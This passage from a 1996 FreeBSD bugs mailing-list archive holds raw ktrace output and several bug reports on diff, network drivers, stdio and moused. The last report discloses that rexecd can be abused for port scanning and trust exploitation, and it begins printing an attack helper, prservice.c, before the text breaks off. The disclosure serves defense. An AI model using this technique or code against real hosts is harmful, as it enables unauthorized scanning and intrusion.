\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\^D\0\0\0\0asdf\0\0\0\^D\0\0\0\0asdf\0\0\0\^D\0\0\ \0\0asdf\0\0\0" 1211 vi RET write 1024/0x400 1211 vi CALL lseek(0x4,0,0,0,0) 1211 vi RET lseek 0 1211 vi CALL write(0x4,0x5381c,0x400) 1211 vi GIO fd 4 wrote 1024 bytes "b1\^E\0\^C\0\0\0\0\^D\0\0\0\0\0\0\^C\0\0\0\240\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0" 1211 vi RET write 1024/0x400 1211 vi CALL fsync(0x4) 1211 vi RET fsync 0 1211 vi CALL close(0x4) 1211 vi RET close 0 1211 vi CALL close(0x5) 1211 vi RET close 0 1211 vi CALL unlink(0x47240) 1211 vi NAMI "/var/tmp/vi.recover/vi.001211" 1211 vi RET unlink 0 1211 vi CALL sigaction(0x1,0,0x491a8) 1211 vi RET sigaction 0 1211 vi CALL sigaction(0x2,0,0x491b4) 1211 vi RET sigaction 0 1211 vi CALL sigaction(0xf,0,0x491c0) 1211 vi RET sigaction 0 1211 vi CALL sigaction(0x1c,0,0x491cc) 1211 vi RET sigaction 0 1211 vi CALL write(0x1,0x4d000,0x7) 1211 vi GIO fd 1 wrote 7 bytes "\^[[?1l\^[>" 1211 vi RET write 7 1211 vi CALL write(0x1,0x4d000,0x142) 1211 vi GIO fd 1 wrote 322 bytes "\^[7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\^[[3;25r\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\^[8\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\^[[25;1H\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0 \^[[H \^[7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\^[[1;25r\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\^[8\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\^[[25;1H\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0" 1211 vi RET write 322/0x142 1211 vi CALL sigaction(0x12,0xefbfd6dc,0xefbfd6d0) 1211 vi RET sigaction 0 1211 vi CALL write(0x1,0x4d000,0xb5) 1211 vi GIO fd 1 wrote 181 bytes "\^[[m\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\^[7\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\^[[1;25r\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\^[8\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\^[[25;1H\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\ \0\0" 1211 vi RET write 181/0xb5 1211 vi CALL fstat(0x1,0xefbfd644) 1211 vi RET fstat 0 1211 vi CALL ioctl(0,TIOCSETAW,0xefbfd6c4) 1211 vi RET ioctl 0 1211 vi CALL ioctl(0,TIOCSETAW,0xefbfd6e8) 1211 vi RET ioctl 0 1211 vi CALL exit(0x1) From owner-freebsd-bugs Mon Nov 18 12:08:23 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA08709 for bugs-outgoing; Mon, 18 Nov 1996 12:08:23 -0800 (PST) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id MAA08690 for ; Mon, 18 Nov 1996 12:08:18 -0800 (PST) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <17503(3)>; Mon, 18 Nov 1996 12:07:37 PST Received: from localhost by crevenia.parc.xerox.com with SMTP id <177557>; Mon, 18 Nov 1996 12:06:23 -0800 To: "Jin Guojun[ITG]" cc: joerg_wunsch@uriah.heep.sax.de, bugs@freebsd.org Subject: Re: diff somehow does not work properly in 2.2-ALPHA In-reply-to: Your message of "Mon, 18 Nov 96 09:47:12 PST." <199611181747.JAA07051@george.lbl.gov> Date: Mon, 18 Nov 1996 12:06:17 PST From: Bill Fenner Message-Id: <96Nov18.120623pst.177557@crevenia.parc.xerox.com> Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199611181747.JAA07051@george.lbl.gov> you write: >I placed the ktrace.out at ftp://george.lbl.gov/pub/tmp/ktrace.out Someone closed stdout, right near the beginning of the program. It might even be before main() gets control, my untrained eye can't say. It's the last system call before a readlink() of /etc/malloc.conf, which might or might not point to something. A section of the interpreted ktrace: 13410 diff CALL open(0x801e0a0,0,0) 13410 diff NAMI "/usr/lib/libc.so.3.0" 13410 diff RET open 3 13410 diff CALL read(0x3,0xefbfd890,0x20) 13410 diff GIO fd 3 read 32 bytes "L\0\M^F@\0\M^@\^E\0\0@\0\0@F\0\0|0\0\0" 13410 diff RET read 32/0x20 13410 diff CALL mmap(0,0x68640,0x5,0x2,0x3,0,0,0) 13410 diff RET mmap 134402048/0x802d000 13410 diff CALL close(0x3) 13410 diff RET close 0 13410 diff CALL mprotect(0x8085000,0x4000,0x7) 13410 diff RET mprotect 0 13410 diff CALL mmap(0x8089000,0xc640,0x7,0x1012,0xffffffff,0,0,0) 13410 diff RET mmap 134778880/0x8089000 13410 diff CALL mmap(0,0xa000,0x3,0x1002,0xffffffff,0,0,0) 13410 diff RET mmap 134832128/0x8096000 13410 diff CALL munmap(0x8023000,0x13dc) 13410 diff RET munmap 0 13410 diff CALL close(0x1) 13410 diff RET close 0 13410 diff CALL readlink(0x8077d3a,0xefbfd8f0,0x3f) 13410 diff NAMI "/etc/malloc.conf" 13410 diff RET readlink -1 errno 2 No such file or directory Since stdout is closed, diff can't write to it later when it wants to display its output, thus "write error". Bill From owner-freebsd-bugs Mon Nov 18 12:30:06 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA09668 for bugs-outgoing; Mon, 18 Nov 1996 12:30:06 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id MAA09661; Mon, 18 Nov 1996 12:30:03 -0800 (PST) Resent-Date: Mon, 18 Nov 1996 12:30:03 -0800 (PST) Resent-Message-Id: <199611182030.MAA09661@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, vazquez@iqm.unicamp.br Received: from kalypso.iqm.unicamp.br (kalypso.iqm.unicamp.br [143.106.13.10]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id MAA09561 for ; Mon, 18 Nov 1996 12:28:14 -0800 (PST) Received: (from vazquez@localhost) by kalypso.iqm.unicamp.br (8.8.3/8.7.3/FreeBSD/2.1.5) id SAA00798; Mon, 18 Nov 1996 18:36:34 GMT Message-Id: <199611181836.SAA00798@kalypso.iqm.unicamp.br> Date: Mon, 18 Nov 1996 18:36:34 GMT From: vazquez@iqm.unicamp.br Reply-To: vazquez@iqm.unicamp.br To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/2053: de0 driver don't work at 100M for Compex DEC 21140-AC based cards Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2053 >Category: kern >Synopsis: de0 driver don't work at 100M for Compex DEC 21140-AC based cards >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Nov 18 12:30:02 PST 1996 >Last-Modified: >Originator: Pedro A M Vazquez >Organization: Instituto de Quimica Unicamp >Release: FreeBSD 2.1.6-R, 2.1.5-R and 2.1.0-R >Environment: Tested on 2.1.0-RELEASE, 2.1.5-RELEASE and 2.1.6-RELEASE, the following dmesg is for 2.1.6: FreeBSD 2.1.6-RELEASE #1: Sun Nov 17 20:16:30 1996 vazquez@kalypso.iqm.unicamp.br:/u/s/sys/compile/KALYPSO CPU: 166-MHz Pentium 735\\90 or 815\\100 (Pentium-class CPU) Origin = "GenuineIntel" Id = 0x52c Stepping=12 Features=0x1bf real memory = 50331648 (49152K bytes) avail memory = 46858240 (45760K bytes) Probing for devices on PCI bus 0: chip0 rev 2 on pci0:0 chip1 rev 2 on pci0:7:0 chip2 rev 2 on pci0:7:1 de0 rev 32 int a irq 10 on pci0:8 de0: DC21140A [10-100Mb/s] pass 2.0 de0: address 00:48:54:00:01:c5 de0: enabling 10baseT port vga0 rev 64 int a irq 11 on pci0:10 Probing for devices on the ISA bus: sc0 at 0x60-0x6f irq 1 on motherboard sc0: VGA color <16 virtual consoles, flags=0x0> ed0 at 0x280-0x29f irq 5 maddr 0xd8000 msize 16384 on isa ed0: address 10:00:5a:ba:42:72, type WD8013EBT (16 bit) ed1 at 0x320-0x33f irq 3 on isa ed1: address 00:40:c7:57:7e:4f, type NE2000 (16 bit) sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 not found at 0x2f8 qcam0 at 0x378 on isa qcam0: bidirectional parallel port lpt0 at 0x378-0x37f irq 7 on isa lpt0 not probed due to I/O address conflict with qcam0 at 0x378 fdc0 at 0x3f0-0x3f7 irq 6 drq 2 on isa fdc0: NEC 765 fd0: 1.44MB 3.5in wdc0 at 0x1f0-0x1f7 irq 14 flags 0x80ff80ff on isa wdc0: unit 0 (wd0): , 32-bit, multi-block-16 wd0: 1040MB (2130912 sectors), 2114 cyls, 16 heads, 63 S/T, 512 B/S wdc0: unit 1 (wd1): , 32-bit, multi-block-8 wd1: 1039MB (2128896 sectors), 2112 cyls, 16 heads, 63 S/T, 512 B/S wdc1 at 0x170-0x177 irq 15 flags 0x80ff80ff on isa wdc1: unit 0 (wd2): , 32-bit, multi-block-16 wd2: 814MB (1667232 sectors), 1654 cyls, 16 heads, 63 S/T, 512 B/S aic0 at 0x340-0x35f irq 11 on isa aic0 waiting for scsi devices to settle (aic0:1:0): "ARCHIVE VIPER 150 21531 -004" type 1 removable SCSI 1 st0(aic0:1:0): Sequential-Access st0: Archive Viper 150 is a known rogue density code 0x0, 512-byte blocks, write-enabled npx0 on motherboard npx0: INT 16 interface ccd0-3: Concatenated disk drivers IP firewall initialized, unlimited logging >Description: The de drivers does not work at 100Mbits for Compex TX100-PCI cards. These cards are based on DEC21140-AC (read from chip). The cold start condition for these cards is 100Mbits unles they are conected to 10Mbits HUB. On cold starting a FreeBSD machine with one of these cards conected to a 100Mbits HUB the 100M led is on untill the card is recognized by the de driver. The following message is printed: de0 rev 32 int a irq 10 on pci0:8 de0: DC21140 [10-100Mb/s] pass 2.0 Ethernet address 00:48:54:00:01:c5 de0: enabling 100baseTX UTP port then the 100M led turns off and the 10M turns on. The same behaviour occurs for two computers connected through a Cross Connect Cable but the card goes to an undetermined state, nor 10M or 100M speeds are set and the two computers can't comunicate. ifconfig'ing -link2 both sides make the computers comunicate at 10M but it seems there is no way to make the card to run at 100M. HUBS and cables were triple checked before this send-pr >How-To-Repeat: Just install Compex TX100 cards on 2.1.0/2.1.5/2.1.6 and try to run at 100M >Fix: >Audit-Trail: >Unformatted: From owner-freebsd-bugs Mon Nov 18 13:50:07 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA14395 for bugs-outgoing; Mon, 18 Nov 1996 13:50:07 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA14389; Mon, 18 Nov 1996 13:50:05 -0800 (PST) Resent-Date: Mon, 18 Nov 1996 13:50:05 -0800 (PST) Resent-Message-Id: <199611182150.NAA14389@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, aantipa@certicom.ca Received: from janus.certicom.ca ([204.225.51.194]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA14165 for ; Mon, 18 Nov 1996 13:47:35 -0800 (PST) Received: from galois.certicom.ca (galois.certicom.ca [204.225.50.1]) by janus with ESMTP (DuhMail/2.0) id QAA07261; Mon, 18 Nov 1996 16:46:31 -0500 Received: (from aantipa@localhost) by galois.certicom.ca (8.6.12/8.6.9) id QAA09435; Mon, 18 Nov 1996 16:53:32 -0500 Message-Id: <199611182153.QAA09435@galois.certicom.ca> Date: Mon, 18 Nov 1996 16:53:32 -0500 From: Adrian Antipa Reply-To: aantipa@certicom.ca To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: misc/2054: Timing benchmarks in Beta Toolkit. Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2054 >Category: misc >Synopsis: Inaccurate timing benchmarks for ECSVEP2 phase 2. >Confidential: yes >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Class: support >Submitter-Id: current-users >Arrival-Date: Mon Nov 18 13:50:03 PST 1996 >Last-Modified: >Originator: Adrian Antipa >Organization: Certicom Corp. >Release: ECTK-Beta >Environment: DOS 6.20, MSVC 1.5 >Description: eca_mult_affine_point() implements the windowing algorithm. A table is build for each input. It was declared static and a control was set to test the input point. If the input point is the same as in the previous call, then the same table is used, if not, a new table is built. Calling ecs_SharedValueProtocol2_P2() with the same parameters each time, caused a caching of the table construction. For the field size 155, the timing average of ECSVEP2 phase 2 was 1 ms, instead of 120 ms, the timing result for only one loop. The Toolkit binder registered 1 ms for ECSVEP2 for 155 and 239. >How-To-Repeat: Run bsb.exe, the source being /certicom/projects/toolkit/src/bench/bench.c. >Fix: Run only one loop when benchmarking the ECSVEP2. >Audit-Trail: >Unformatted: From owner-freebsd-bugs Mon Nov 18 13:55:47 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA15083 for bugs-outgoing; Mon, 18 Nov 1996 13:55:47 -0800 (PST) Received: (from wollman@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA15056; Mon, 18 Nov 1996 13:55:42 -0800 (PST) Date: Mon, 18 Nov 1996 13:55:42 -0800 (PST) From: Garrett Wollman Message-Id: <199611182155.NAA15056@freefall.freebsd.org> To: aantipa@certicom.ca, wollman, freebsd-bugs Subject: Re: misc/2054 Sender: owner-bugs@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Synopsis: Inaccurate timing benchmarks for ECSVEP2 phase 2. State-Changed-From-To: open-closed State-Changed-By: wollman State-Changed-When: Mon Nov 18 13:55:08 PST 1996 State-Changed-Why: This appears to be a bug report for some third-party product. Nothing we can do with it. From owner-freebsd-bugs Mon Nov 18 16:20:38 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA26306 for bugs-outgoing; Mon, 18 Nov 1996 16:20:38 -0800 (PST) Received: from eac.iafrica.com (196-7-192-99.iafrica.com [196.7.192.99]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA26289 for ; Mon, 18 Nov 1996 16:20:33 -0800 (PST) Received: (from rnordier@localhost) by eac.iafrica.com (8.8.2/8.6.12) id CAA10920; Tue, 19 Nov 1996 02:18:21 +0200 (SAT) From: Robert Nordier Message-Id: <199611190018.CAA10920@eac.iafrica.com> Subject: Re: kern/2043: 2.2-ALPHA stdio problems? (Bad Address errors) In-Reply-To: <19961117092532.13851.qmail@spitfire.ecsel.psu.edu> from "tenser@spitfire.ecsel.psu.edu" at "Nov 17, 96 09:25:32 am" To: tenser@spitfire.ecsel.psu.edu Date: Tue, 19 Nov 1996 02:18:20 +0200 (SAT) Cc: bugs@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk tenser@spitfire.ecsel.psu.edu wrote: [ ... ] > >Release: FreeBSD 2.2-CURRENT i386 > >Environment: > i386dx40, 8MB RAM, 1.2GB IDE disk, 64Kb cache [ ... ] > > >Description: > > Programs which read from stdin will, if given a period > of inactivity (say, 30 seconds) return ``Bad Address'' > errors from read calls. This will cause vi to exit or > dump core, sendmail to ignore whoever it's talking to, > telnet to stop talking to a remote host, etc. I also have 2.2-ALPHA installed on an old test system with virtually identical hardware. EFAULTs are being reported regularly (though not quite consistently) by vi; by ftp; and (most reproducibly: about 4 times out of 5) by sendmail when invoked by procmail: sendmail[999]: NOQUEUE: SYSERR(root): getrequests: accept: Bad address The problem appears worse when the system is under load (eg. vi suddenly crashed just now when the `daily' script started). Prior to installing 2.2-ALPHA, the system has run 2.0-RELEASE through 2.1.5-RELEASE flawlessly. -- Robert Nordier From owner-freebsd-bugs Mon Nov 18 16:51:01 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA29479 for bugs-outgoing; Mon, 18 Nov 1996 16:51:01 -0800 (PST) Received: from irz301.inf.tu-dresden.de (irz301.inf.tu-dresden.de [141.76.1.11]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id QAA29461 for ; Mon, 18 Nov 1996 16:50:47 -0800 (PST) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by irz301.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id BAA02349; Tue, 19 Nov 1996 01:49:59 +0100 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id BAA19047; Tue, 19 Nov 1996 01:49:58 +0100 Received: (from j@localhost) by uriah.heep.sax.de (8.8.2/8.6.9) id XAA02531; Mon, 18 Nov 1996 23:41:47 +0100 (MET) From: J Wunsch Message-Id: <199611182241.XAA02531@uriah.heep.sax.de> Subject: Re: diff somehow does not work properly in 2.2-ALPHA To: freebsd-bugs@FreeBSD.org (FreeBSD bugs list) Date: Mon, 18 Nov 1996 23:41:47 +0100 (MET) Cc: jin@george.lbl.gov Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <96Nov18.120623pst.177557@crevenia.parc.xerox.com> from Bill Fenner at "Nov 18, 96 12:06:17 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-bugs@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk As Bill Fenner wrote: > Someone closed stdout, right near the beginning of the program. It > might even be before main() gets control, my untrained eye can't say. > It's the last system call before a readlink() of /etc/malloc.conf, > which might or might not point to something. A section of the > interpreted ktrace: > 13410 diff CALL close(0x1) > 13410 diff RET close 0 > 13410 diff CALL readlink(0x8077d3a,0xefbfd8f0,0x3f) > 13410 diff NAMI "/etc/malloc.conf" > 13410 diff RET readlink -1 errno 2 No such file or directory > > Since stdout is closed, diff can't write to it later when it wants to > display its output, thus "write error". Seems to be intentional. Somehow, writing to the output file failed: ... val = compare_files (0, argv[optind], 0, argv[optind + 1], 0); /* Print any messages that were saved up for last. */ print_message_queue (); check_stdout (); exit (val); return val; } ...with: static void check_stdout () { if (ferror (stdout) || fclose (stdout) != 0) fatal ("write error"); } (The malloc is supposedly called as part of the fprintf().) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-bugs Mon Nov 18 18:42:09 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA07937 for bugs-outgoing; Mon, 18 Nov 1996 18:42:09 -0800 (PST) Received: from central.picker.com (central.picker.com [144.54.31.2]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id SAA07926 for ; Mon, 18 Nov 1996 18:41:52 -0800 (PST) Received: from ct.picker.com by central.picker.com with smtp (Smail3.1.28.1 #3) id m0vPg49-0004ruC; Mon, 18 Nov 96 21:37 EST Received: from elmer.ct.picker.com ([144.54.57.34]) by ct.picker.com (4.1/SMI-4.1) id AA25594; Mon, 18 Nov 96 21:35:06 EST Received: by elmer.ct.picker.com (SMI-8.6/SMI-SVR4) id VAA18897; Mon, 18 Nov 1996 21:34:35 -0500 Message-Id: Date: Mon, 18 Nov 1996 21:34:34 -0500 From: rhh@ct.picker.com (Randall Hopper) To: bugs@freebsd.org Subject: [2.2-ALPHA] moused / X conflict X-Mailer: Mutt 0.51 Mime-Version: 1.0 Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk (I just joined the list a few minutes ago, so I don't know if this specific problem has been mentioned yet or not.) Just installed 2.2-ALPHA w/ XFree 3.2 this weekend. After installing fvwm2, every few minutes my window focus would stop tracking with my mouse (I have pointer-focus configured). It appeared to recognize buttons pressed as those would highlight in the xterm over across the screen that was stuck with focus. Shifting back to a terminal screen and back (Ctrl-Alt-F1/F4) didn't fix it. The only two ways I found that did were killing and restarting the X server, and hitting both mouse buttons at the same time (I have Emulate3Buttons set). Tried fvwm1 -- same problem. At one point it quit listening to the mouse altogether. The X server was still alive (xperfmon kept updating), tha machine was still alive (I could switch out to the virtual screens, though I was getting when I typed were some strange control and high-bit characters instead of what I was typing -- like some kind of shift state was still active), but no mouse. I then remembered having turned moused on in sysconfig. I killed it and disabled it in sysconfig. No problems since. There's no manpage on moused that I could find. Here's what I think is relevent config. If I left something out that would be useful to know, let me know: FreeBSD: 2.2-ALPHA sysconfig: mousedtype=microsoft Mouse : Microsoft Serial Mouse 2.0A (2 button) Vidcard: Stingray 64/Video 2Meg XFree : SVGA server, v3.2 XF86Config: Section "Pointer" Protocol "Microsoft" Device "/dev/cuaa0" Emulate3Buttons EndSection By the way, I never got to doing a "vidcontrol -m on". This all happened with moused in its default state. Randall Hopper rhh@ct.picker.com From owner-freebsd-bugs Mon Nov 18 20:40:07 1996 Return-Path: owner-bugs Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA13675 for bugs-outgoing; Mon, 18 Nov 1996 20:40:07 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id UAA13650; Mon, 18 Nov 1996 20:40:04 -0800 (PST) Resent-Date: Mon, 18 Nov 1996 20:40:04 -0800 (PST) Resent-Message-Id: <199611190440.UAA13650@freefall.freebsd.org> Resent-From: gnats (GNATS Management) Resent-To: freebsd-bugs Resent-Reply-To: FreeBSD-gnats@freefall.FreeBSD.org, Received:"from dhp.com (dhp.com [199.245.105.1]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id UAA13228 for" ; Mon, 18 Nov 1996 20:32:05.-0800 (PST) Received: (from jaeger@localhost) by dhp.com (8.8.2/8.6.12) id XAA01382; Mon, 18 Nov 1996 23:31:37 -0500 Message-Id: Date: Mon, 18 Nov 1996 23:31:36 -0500 (EST) From: jaeger To: FreeBSD-gnats-submit@freebsd.org Subject: bin/2055: Minor holes in rexecd Sender: owner-bugs@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Number: 2055 >Category: bin >Synopsis: Minor holes in rexecd >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Nov 18 20:40:02 PST 1996 >Last-Modified: >Originator: jaeger >Organization: FC >Release: FreeBSD 2.1-STABLE i386 >Environment: 2.1.5-RELEASE >Description: Rexecd allows redirection of stderr stream to an arbitrary port on the client machine. This stream is opened by rexecd before authentication of the user. Because rexec uses unprivileged ports for the whole process, any user can send a request to a rexecd requesting connection of the stderr stream to an arbitrary port on the client machine. Since the client is unprivileged, there is no possibility for the legitimate stderr stream to be destined for a privileged port. In addition, spoofing techniques could allow the client to direct the stderr stream towards an arbitrary host as well as an arbitrary port, possibly exploiting a given trust model. Since rexecd terminates if the stderr port can't be connected to, and the port can be specified, rexecd can be used to easily scan the client host from the server host. The included script "rexecscan" demonstrates this. >How-To-Repeat: begin prservice.c /* modified by jaeger 12Nov1996. Duplicated slack coding style. now takes port locuser remuser [cmd] port remuser passwd [cmd] where port is the dst port you wish the stderr socket to connect to from the server to the client machines. /* generate ^@string1^@string2^@cmd^@ input to netcat, for scripting up rsh/rexec attacks. Needs to be a prog because shells strip out nulls. args: locuser remuser [cmd] remuser passwd [cmd] cmd defaults to "pwd". ... whatever. _H*/ #include /* change if you like; "id" is a good one for figuring out if you won too */ static char cmd[] = "pwd"; static char buf [256]; main(argc, argv) int argc; char * argv[]; { register int x; register int y = 0; char * p; char * q; p = buf; memset (buf, 0, 256); /* null out the buffer */ /* p++; */ /* first null */ /* y = 1; */ if (! argv[1]) goto wrong; x = strlen (argv[1]); 